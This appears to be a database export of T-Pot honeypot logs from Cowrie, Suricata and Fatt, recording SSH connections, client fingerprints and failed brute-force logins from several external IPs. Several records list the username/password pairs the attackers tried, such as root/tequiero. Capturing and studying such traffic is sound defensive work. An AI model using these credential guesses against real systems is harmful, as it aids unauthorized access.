29630	5.182.39.25	109.199.241.180	Suricata	2021-09-20 14:27:46.410843+03	2021-09-20 14:30:04.374525+03	{"_id": "5Ab2AnwBvYTbRNuERjYu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "OpenSSH_7.4"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.182.39.25", "dest_ip": "192.168.20.116", "flow_id": 1727815685920013, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37678, "dest_port": 22, "timestamp": "2021-09-20T11:27:46.410843Z", "@timestamp": "2021-09-20T11:27:46.410Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
29631	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:27:46.347198+03	2021-09-20 14:30:04.376523+03	{"_id": "9gb2AnwBvYTbRNuESDZi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.182.39.25:37678 (192.168.176.2:22) [session: 41b1a80563ea]", "session": "41b1a80563ea", "@version": "1", "protocol": "ssh", "src_port": 37678, "dest_port": 22, "timestamp": "2021-09-20T11:27:46.347198Z", "@timestamp": "2021-09-20T11:27:46.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
29632	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:27:46.350199+03	2021-09-20 14:30:04.377553+03	{"_id": "9wb2AnwBvYTbRNuESDZi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-OpenSSH_7.4'", "session": "41b1a80563ea", "version": "b'SSH-2.0-OpenSSH_7.4'", "@version": "1", "timestamp": "2021-09-20T11:27:46.350199Z", "@timestamp": "2021-09-20T11:27:46.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
29633	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:27:46.415454+03	2021-09-20 14:30:04.378554+03	{"_id": "-Qb2AnwBvYTbRNuESDZi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [fa/123456] failed", "session": "ff4508cda88b", "@version": "1", "password": "123456", "username": "fa", "timestamp": "2021-09-20T11:27:46.415454Z", "@timestamp": "2021-09-20T11:27:46.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29634	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:27:46.84261+03	2021-09-20 14:30:04.379553+03	{"_id": "-Ab2AnwBvYTbRNuESDZi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.login.failed", "message": "login attempt [root/tequiero] failed", "session": "41b1a80563ea", "@version": "1", "password": "tequiero", "username": "root", "timestamp": "2021-09-20T11:27:46.842610Z", "@timestamp": "2021-09-20T11:27:46.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
29637	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:50.827974+03	2021-09-20 14:30:04.383553+03	{"_id": "CAb2AnwBvYTbRNuEWjff", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60153, "timestamp": "2021-09-20T11:27:50.827974", "@timestamp": "2021-09-20T11:27:50.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29638	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:27:50.823982+03	2021-09-20 14:30:04.385553+03	{"_id": "Awb2AnwBvYTbRNuEWDcs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:60153 (192.168.176.2:22) [session: 5f80fe860d3a]", "session": "5f80fe860d3a", "@version": "1", "protocol": "ssh", "src_port": 60153, "dest_port": 22, "timestamp": "2021-09-20T11:27:50.823982Z", "@timestamp": "2021-09-20T11:27:50.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29639	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:27:50.827055+03	2021-09-20 14:30:04.386553+03	{"_id": "BAb2AnwBvYTbRNuEWDcs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "5f80fe860d3a", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:27:50.827055Z", "@timestamp": "2021-09-20T11:27:50.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29640	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:27:51.083144+03	2021-09-20 14:30:04.387553+03	{"_id": "BQb2AnwBvYTbRNuEWDcs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "5f80fe860d3a", "@version": "1", "timestamp": "2021-09-20T11:27:51.083144Z", "@timestamp": "2021-09-20T11:27:51.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29641	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:27:51.082382+03	2021-09-20 14:30:04.38955+03	{"_id": "Bgb2AnwBvYTbRNuEWTe4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 256368480527716, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60153, "dest_port": 22, "timestamp": "2021-09-20T11:27:51.082382Z", "@timestamp": "2021-09-20T11:27:51.082Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29642	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:27:51.082522+03	2021-09-20 14:30:04.390564+03	{"_id": "CQb2AnwBvYTbRNuEWjff", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 60153, "dest_port": 22, "timestamp": "2021-09-20T11:27:51.082522", "@timestamp": "2021-09-20T11:27:51.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29643	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:27:46.416665+03	2021-09-20 14:30:04.391556+03	{"_id": "9Qb2AnwBvYTbRNuESDZi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-gcm@openssh.com", "aes256-gcm@openssh.com", "aes128-cbc", "aes192-cbc", "aes256-cbc"], "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eecf4e14dea2b648c33ba89ab1b585c7", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group16-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-ed25519", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: eecf4e14dea2b648c33ba89ab1b585c7", "session": "41b1a80563ea", "@version": "1", "timestamp": "2021-09-20T11:27:46.416665Z", "@timestamp": "2021-09-20T11:27:46.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
29644	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:27:47.454705+03	2021-09-20 14:30:04.392553+03	{"_id": "_Ab2AnwBvYTbRNuETDZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ff4508cda88b", "@version": "1", "duration": 1.3111200332641602, "timestamp": "2021-09-20T11:27:47.454705Z", "@timestamp": "2021-09-20T11:27:47.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29645	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:28:05.000259+03	2021-09-20 14:30:04.394553+03	{"_id": "Ewb2AnwBvYTbRNuElDdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:27:04.285577+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1141400175926153, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 56913, "timestamp": "2021-09-20T11:28:05.000259Z", "@timestamp": "2021-09-20T11:28:05.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29646	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:27:52.484402+03	2021-09-20 14:30:04.395554+03	{"_id": "Cgb2AnwBvYTbRNuEXzfV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3.1415926] failed", "session": "5f80fe860d3a", "@version": "1", "password": "3.1415926", "username": "root", "timestamp": "2021-09-20T11:27:52.484402Z", "@timestamp": "2021-09-20T11:27:52.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29647	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:27:53.751481+03	2021-09-20 14:30:04.396553+03	{"_id": "DAb2AnwBvYTbRNuEYze-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/321321] failed", "session": "5f80fe860d3a", "@version": "1", "password": "321321", "username": "root", "timestamp": "2021-09-20T11:27:53.751481Z", "@timestamp": "2021-09-20T11:27:53.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29648	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:27:55.015271+03	2021-09-20 14:30:04.398551+03	{"_id": "DQb2AnwBvYTbRNuEZzen", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/321654987] failed", "session": "5f80fe860d3a", "@version": "1", "password": "321654987", "username": "root", "timestamp": "2021-09-20T11:27:55.015271Z", "@timestamp": "2021-09-20T11:27:55.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29649	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:27:56.274041+03	2021-09-20 14:30:04.399555+03	{"_id": "Dwb2AnwBvYTbRNuEbzd3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "5f80fe860d3a", "@version": "1", "duration": 5.447267055511475, "timestamp": "2021-09-20T11:27:56.274041Z", "@timestamp": "2021-09-20T11:27:56.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29650	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:12.447578+03	2021-09-20 14:30:04.401556+03	{"_id": "KQb2AnwBvYTbRNuErjcA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:52850 (192.168.176.2:22) [session: 7b7d7d32ed86]", "session": "7b7d7d32ed86", "@version": "1", "protocol": "ssh", "src_port": 52850, "dest_port": 22, "timestamp": "2021-09-20T11:28:12.447578Z", "@timestamp": "2021-09-20T11:28:12.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 